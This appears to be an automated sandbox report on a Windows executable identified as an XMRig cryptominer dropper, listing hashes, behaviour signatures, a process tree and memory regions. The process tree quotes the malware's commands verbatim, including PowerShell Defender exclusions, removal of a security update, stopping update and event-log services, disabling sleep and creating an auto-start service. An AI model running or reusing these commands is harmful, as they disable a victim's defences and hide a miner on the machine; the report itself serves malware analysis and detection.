Analysis

  • max time kernel
    299s
  • max time network
    294s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-08-2024 05:01

General

  • Target

    2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe

  • Size

    416KB

  • MD5

    f5d7b79ee6b6da6b50e536030bcc3b59

  • SHA1

    751b555a8eede96d55395290f60adc43b28ba5e2

  • SHA256

    2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459

  • SHA512

    532b17cd2a6ac5172b1ddba1e63edd51ab53a4527204415241e3a78e8ffeb9728071bde5ae1eefabefd2627f00963f8a5458668cd7b8df041c8683252ff56b46

  • SSDEEP

    12288:ISqMakU3v+GYLWIjD9dSbvBG5u2uQjdQco:jq53v+G4Wwub8Ljaco

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 8 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 51 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe
    "C:\Users\Admin\AppData\Local\Temp\2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4644
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:216
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4584
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:500
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:4980
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:764
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:3788
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:380
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:2200
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:736
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3712
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4872
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:788
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "QKJNEQWA"
            4⤵
            • Launches sc.exe
            PID:2764
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:4920
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:4944
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "QKJNEQWA"
            4⤵
            • Launches sc.exe
            PID:4836
    • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
      1⤵
      • Executes dropped EXE
      PID:2244
    • C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
      C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:1964
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:4020
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:3868
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:3044
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:4580
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:1260
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2012
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:664
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:1548
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:4672
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:3300
          • C:\Windows\system32\cmd.exe
            cmd.exe
            2⤵
            • Blocklisted process makes network request
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2588
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:3400
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:412
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:3548
        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
          1⤵
          • Executes dropped EXE
          PID:3868

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe

          Filesize

          416KB

          MD5

          f5d7b79ee6b6da6b50e536030bcc3b59

          SHA1

          751b555a8eede96d55395290f60adc43b28ba5e2

          SHA256

          2f1aff28961ba0ce85ea0e35b8936bc387f84f459a4a1d63d964ce79e34b8459

          SHA512

          532b17cd2a6ac5172b1ddba1e63edd51ab53a4527204415241e3a78e8ffeb9728071bde5ae1eefabefd2627f00963f8a5458668cd7b8df041c8683252ff56b46

        • C:\Users\Admin\AppData\Local\Temp\1000004001\Office2024.exe

          Filesize

          2.7MB

          MD5

          df92abd264b50c9f069246a6e65453f0

          SHA1

          f5025a44910ceddf26fb3fffb5da28ea93ee1a20

          SHA256

          bc7d010eb971dbc9cbeedc543f93bb1b6924d57597e213dbe10c2c1efd8d0296

          SHA512

          a3f48831efa65cea6a2cf313f698b59d84119023196e11b1266d937a5b4c05aa4aab67c6d40450bef5c9245b46316980906fa73196d892f2880abc2b1b863455

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_otvtfzde.chi.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • memory/216-25-0x0000020F66850000-0x0000020F66872000-memory.dmp

          Filesize

          136KB

        • memory/216-28-0x0000020F66B50000-0x0000020F66BC6000-memory.dmp

          Filesize

          472KB

        • memory/2080-91-0x000001D8E2680000-0x000001D8E269C000-memory.dmp

          Filesize

          112KB

        • memory/2080-97-0x000001D8E2B80000-0x000001D8E2C39000-memory.dmp

          Filesize

          740KB

        • memory/2080-131-0x000001D8E26A0000-0x000001D8E26AA000-memory.dmp

          Filesize

          40KB

        • memory/2588-240-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-237-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-229-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-234-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-235-0x0000027440680000-0x00000274406A0000-memory.dmp

          Filesize

          128KB

        • memory/2588-239-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-244-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-243-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-236-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-238-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-233-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-232-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-230-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-228-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/2588-231-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/3300-224-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3300-222-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3300-221-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3300-220-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3300-223-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/3300-227-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB